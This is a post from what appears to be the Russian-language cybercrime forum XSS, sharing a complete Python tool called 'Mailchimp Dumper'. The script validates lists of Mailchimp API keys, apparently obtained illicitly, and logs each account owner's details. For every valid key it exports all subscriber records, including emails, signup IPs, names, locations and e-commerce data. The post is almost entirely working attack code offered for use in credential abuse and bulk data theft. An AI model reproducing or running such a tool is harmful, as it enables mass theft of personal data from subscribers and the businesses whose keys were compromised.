• XSS.stack #1 – первый литературный журнал от юзеров форума

Mailchimp Dumper

nightly

root@usss-int:~#
Premium
Регистрация
03.10.2019
Сообщения
375
Реакции
413
Python:
import asyncio
from os import makedirs
from json import dumps, loads
from sys import argv

from aiofiles import open as aopen
from aiohttp import ClientSession


class MailChimp:
    def __init__(self, api: str, check_only: bool = False) -> None:
        assert len(api.split('-')) == 2, "Wrong token. Check how much '-'"

        self.api = api
        api, zone = api.split('-', 1)

        assert len(api) == 32, "Wrong len on key (before '-'), must be 32"
        assert len(zone) == 4 or len(zone) == 3, "Wrong len of zone (after '-')"

        self.url = f'https://{zone}.api.mailchimp.com/3.0/'
        self.check_only = check_only
        self.company = '.'
        self.headers = {
            'Authorization': 'apikey '+api
        }

    async def write_to_file(self, name: str, data: dict) -> None:
        async with aopen(f'{self.company}/{name}.json', 'a', encoding='utf-8', errors='ignore') as write:  # noqa
            if isinstance(data, dict):
                await write.write(dumps(
                    data, indent=4, sort_keys=True, default=str
                )+'\n')
            else:
                await write.write(data)

    async def save_members(self, table: str, members: list) -> None:
        out = {}

        for member in members:
            out[member['email_address']] = {}
            out[member['email_address']]['ip'] = member.get('ip_signup', '0.0.0.0')
            out[member['email_address']]['full_name'] = member.get('full_name', 'None None')  # noqa
            out[member['email_address']]['location'] = member.get('location', {})
            out[member['email_address']]['date'] = member.get('last_changed', '0000-00-00 00:00:00')  # noqa
            out[member['email_address']]['interests'] = member.get('interests', [])
            out[member['email_address']]['merge_fields'] = member.get('merge_fields', [])  # noqa
            out[member['email_address']]['ecommerce_data'] = member.get('stats', {}).get('ecommerce_data', [])  # noqa
            out[member['email_address']]['vip'] = member.get('vip', False)
            out[member['email_address']]['language'] = member.get('language', 'unkw')

        await self.write_to_file(table, out)
        await self.write_to_file(table, ',\n    ')

    async def get_members(self, uid: str, name: str) -> None:
        params = {
            'offset': 0,
            'count': 1000
        }

        await self.write_to_file(name, '[\n    ')

        while True:
            async with ClientSession(headers=self.headers) as ses:
                async with ses.get(self.url+f'lists/{uid}/members', params=params) as r:
                    if r.status != 200:
                        print('[!] Error. Resp code:', r.status)
                        exit(0)
                    r = await r.json()

            params['offset'] += len(r.get('members', []))
            print(
                f'\033c{self.company}.{name} passed: ' +
                f'{params["offset"]}/{r.get("total_items", 0)}'
            )

            await self.save_members(name, r.get('members', []))

            if params['offset'] >= r.get('total_items', 0):
                break

        await self.write_to_file(name, '[]\n]')

    async def get_tables(self) -> tuple:
        params = {
            'offset': 0,
            'count': 50
        }

        while True:
            async with ClientSession(headers=self.headers) as session:
                async with session.get(self.url+'lists', params=params) as resp:
                    if resp.status != 200:
                        print('[!] Error. Resp code:', resp.status)
                        exit(0)

                    data = await resp.json()
                    params['offset'] += len(data.get('lists', []))

            print('[!] Total tables:', data.get('total_items', 0), end='\r')

            for item in data.get('lists', []):
                yield (
                    (str(item.get('id', 'NONE')),
                    str(item.get('name', 'NONE'))
                                .replace('.', '_')
                                .replace('/', '_')
                                .replace('\\', '_')
                    )
                )

            if params['offset'] >= data.get('total_items', 0):
                break

    async def check_valid(self) -> bool:
        async with ClientSession(headers=self.headers) as session:
                async with session.get(self.url) as resp:
                    if resp.status != 200:
                        return False
                    data = await resp.json()

        company = data['contact']['company']
        company = company.replace('.', '_')\
                                   .replace('/', '_')\
                                   .replace('\\', '_')

        if self.check_only:
            await self.write_to_file('INFO', {
                'api_key': self.api,
                'full_name': data['first_name']+' '+data['last_name'],
                'role': data['role'],
                'email': data['email'],
                'account_name': data['account_name'],
                'industry': data['account_industry'],
                'contact': data['contact'],
                'company': company
            })
            await self.write_to_file('INFO', ',\n')
        else:
            self.company = company
            makedirs(self.company, exist_ok=True)

        print('[+] We get new company! Company:', self.company, ' - ', self.api)
        return True

    async def work(self) -> None:
        if not await self.check_valid():
            print('[!] Key invalid', self.api)
            return
        if self.check_only:
            return

        async for table_id, table_name in self.get_tables():
            await self.get_members(table_id, table_name)


async def main() -> None:
    if argv[1] == '--dump':
        async with aopen('INFO.json', 'r') as data:
            for item in loads(await data.read()):
                try:
                    chimp = MailChimp(item['api_key'])
                    await chimp.work()
                except Exception as e:
                    print(e)
    if len(argv[1].split('-us')) == 2:
        chimp = MailChimp(argv[1], False)
        await chimp.work()
    else:
        async with aopen('keys.txt', 'r') as lines:
            async for line in lines:
                try:
                    line: str = line.strip()
                    chimp = MailChimp(line, True)
                    await chimp.work()
                except Exception as e:
                    print(e)

if __name__ == "__main__":
    if len(argv) != 2:
        print('main.py --check   <--- for check keys.txt')
        print('main.py --dump    <--- for dump rez')
        print('main.py KEY_ID-KEY_SERV    <--- for dump specific key')
        exit(0)

    lp = asyncio.new_event_loop()
    lp.run_until_complete(main())
    lp.close()
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх